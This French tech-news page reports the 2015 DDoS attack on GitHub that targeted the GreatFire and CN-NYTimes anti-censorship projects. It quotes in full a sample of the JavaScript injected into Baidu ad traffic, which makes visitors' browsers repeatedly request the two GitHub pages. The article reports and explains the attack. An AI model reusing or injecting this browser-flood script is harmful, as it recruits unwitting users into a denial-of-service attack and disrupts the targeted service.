Programmez! #239 PDF pour nos abonnés papier

Abonnés papier : en raison de la situation due au coronavirus, des retards sont à prévoir en ce qui concerne la distribution de Programmez! #239 par La Poste. C'est pourquoi nous mettons Programmez! #239 PDF à disposition dans votre compte utilisateur sous un onglet dédié en attendant. Pour y accéder, il vous suffit de saisir votre n° d'abonné (ou éventuellement le ressaisir comme pour l'accès aux archives) dans votre compte utilisateur, si ce n'est pas déjà fait. Si vous ne connaissez par votre numéro d'abonné, vous pouvez l'obtenir à cette page.

En cas de difficultés, contactez le webmaster à partir du formulaire de contact de ce site.

GitHub sous le coup d'une attaque DDoS sophistiquée et de grande ampleur

Par:
fredericmazue

lun, 30/03/2015 - 17:16

La plate-forme d'hébergement et de partage de code GitHub subit une attaque en déni de service distribuée, ou DDoS, de grande ampleur, depuis une centaine d'heures.

L'attaque a débuté le 26 mars à 2h00 UTC, indique le blog de la plate-forme. Depuis, les responsables de GitHub prennent des mesures pour amortir l'attaque, mais la tâche semble bien difficile, car l'attaque s'adapte constamment aux mesures qui sont prises. Ainsi le service connaît régulièrement des indisponibilités. Le déroulement de l'attaque est relaté sur le compte Twitter GitHub Status, et l'état de GitHub est donné en permanence sur cette page.

Selon les informations disponibles, l'attaque émanerait de Chine et viserait deux projets principalement (voir code-dessous) :  GreatFire et CN-NYTimes, qui sont des outils anti-censure conçus pour aider les citoyens chinois à contourner la censure gouvernementale de l'Internet.

Cette attaque DDoS est comme il se doit constituée par l'envoi massif de paquets vers le service GitHub, envoi auquel se joignent des techniques nouvelles et élaborées qui la rendent difficile à endiguer.

Notamment, d'innocents internautes participent à cette attaque à l'insu de leur plein gré. Ils s'agit d'internautes voisins de la Chine et qui visitent des sites de ce pays. Ceux-ci voient normalement, dans les pages Web visitées, des publicités provenant de Baidu, l'équivalent chinois de Google. Des publicités affichées, comme les AdSense de Google, au moyen de code JavaScript.

Mais, selon HackerNews, un routeur réseau situé près de la frontière chinoise trafique les connexions HTTP à la volée pour injecter dans les navigateurs un code de publicité JavaScript que l'on peut qualifier de customisé. Des exemples de ce code sont disponibles sur Pastebin.

En voici un qui établit de rapides connexions avec GitHub, toutes les deux secondes, d'une façon telles que les internautes ne peuvent se rendent compte des problèmes qu'ils créent en toute innocence.

De son côté Baidu a indiqué n'être absolument pas impliquée volontairement dans cette attaque.

  1. document.write("<script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js">// <![CDATA[
  2. \x3c/script>");
  3. !window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
  4. startime = (new Date).getTime();
  5. var count = 0;
  6.  
  7. function unixtime() {
  8.     var a = new Date;
  9.     return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
  10. }
  11. url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];
  12. NUM = url_array.length;
  13.  
  14. function r_send2() {
  15.     var a = unixtime() % NUM;
  16.     get(url_array[a])
  17. }
  18.  
  19. function get(a) {
  20.     var b;
  21.     $.ajax({
  22.         url: a,
  23.         dataType: "script",
  24.         timeout: 1E4,
  25.         cache: !0,
  26.         beforeSend: function() {
  27.             requestTime = (new Date).getTime()
  28.         },
  29.         complete: function() {
  30.             responseTime = (new Date).getTime();
  31.             b = Math.floor(responseTime - requestTime);
  32.             3E5 > responseTime - startime && (r_send(b), count += 1)
  33.         }
  34.     })
  35. }
  36.  
  37. function r_send(a) {
  38.     setTimeout("r_send2()", a)
  39. }
  40. setTimeout("r_send2()", 2E3);